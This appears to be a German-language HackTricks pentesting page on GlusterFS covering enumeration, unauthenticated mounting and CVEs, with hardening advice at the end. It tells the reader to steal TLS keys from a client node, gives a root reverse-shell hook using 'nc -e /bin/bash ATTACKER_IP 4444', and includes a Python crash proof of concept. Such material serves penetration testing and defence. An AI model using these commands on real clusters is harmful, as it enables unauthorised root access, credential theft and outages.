24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

GlusterFS ist ein verteiltes Dateisystem, das Speicher von mehreren Servern in einem einheitlichen Namensraum kombiniert. Der Verwaltungsdaemon (glusterd) hört standardmäßig auf 24007/TCP und weist Datenebene-Bricks an, die bei 49152/TCP beginnen (ein Port pro Brick, inkrementierend). Versionen vor 9.x verwendeten 24008–24009/TCP für den Brick-Transport, sodass Sie diese Ports in Legacy-Clustern weiterhin antreffen werden.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Tipp: 24007 beantwortet RPC-Anfragen, selbst wenn die nur Speicher bereitstellenden Knoten keinen Volume exportieren; daher ist der Dienst ein zuverlässiges Pivot-Ziel in großen Infrastrukturen.

Aufzählung

Installieren Sie die Client-Dienstprogramme auf Ihrem Angreifer-Computer:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Peer-Entdeckung & Gesundheit
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Volume-Rekognoszierung
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Mount ohne Berechtigungen
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

Wenn das Einhängen fehlschlägt, überprüfen Sie /var/log/glusterfs/<vol_name>-<uid>.log auf der Client-Seite. Häufige Probleme sind:

  • TLS-Durchsetzung (option transport.socket.ssl on)
  • Adressbasierte Zugriffskontrolle (option auth.allow <cidr>)

Zertifikat-Fehlerbehebung

Stehlen Sie die folgenden Dateien von einem autorisierten Client-Knoten und platzieren Sie sie in /etc/ssl/ (oder dem im Fehlerprotokoll angegebenen Verzeichnis):

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Bekannte Schwachstellen (2022-2025)

CVEBetroffene VersionenAuswirkungenAnmerkungen
CVE-2022-4834010.0–10.4, 11.0Use-after-free in dht_setxattr_mds_cbk, erreichbar über das NetzwerkRemote DoS und wahrscheinliches RCE. Behebt in 10.4.1 / 11.1.
CVE-2023-26253< 11.0Out-of-bounds-Lesevorgang im FUSE-Benachrichtigungs-HandlerRemote-Absturz durch manipulierte FS-Operationen; öffentliches PoC verfügbar.
CVE-2023-3775< 10.5 / 11.1Falsche Berechtigungsvalidierung beim Mounten von gluster_shared_storageErmöglicht es jedem nicht authentifizierten Client, das Admin-Volume zu mounten – führt zu priv-esc, wie unten erklärt.

Überprüfen Sie immer gluster --version auf jedem Knoten; heterogene Cluster sind nach teilweisen Upgrades häufig.

Ausnutzen von gluster_shared_storage (Privilegieneskalation)

Selbst in neueren Versionen lassen viele Administratoren das spezielle gluster_shared_storage-Volume weltweit lesbar, da es die Geo-Replikation vereinfacht. Das Volume enthält Cronjob-Vorlagen, die mit root auf jedem Knoten ausgeführt werden.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

Wenn hooks/1/ nicht vorhanden ist, suchen Sie nach /ss_bricks/ – der genaue Pfad kann je nach Hauptversion variieren.

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

Das Ausführen des Skripts stürzt glusterfsd < 11.0 ab.


Härtung & Erkennung

  • Upgrade – die aktuelle LTS ist 11.1 (Juli 2025). Alle oben genannten CVEs sind behoben.
  • Aktivieren Sie TLS für jeden Brick:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • Beschränken Sie Clients mit CIDR-Listen:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Exponieren Sie den Verwaltungsport 24007 nur in einem privaten VLAN oder über SSH-Tunnel.
  • Überwachen Sie die Protokolle: tail -f /var/log/glusterfs/glusterd.log und konfigurieren Sie die audit-log-Funktion (volume set <vol> features.audit-log on).

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks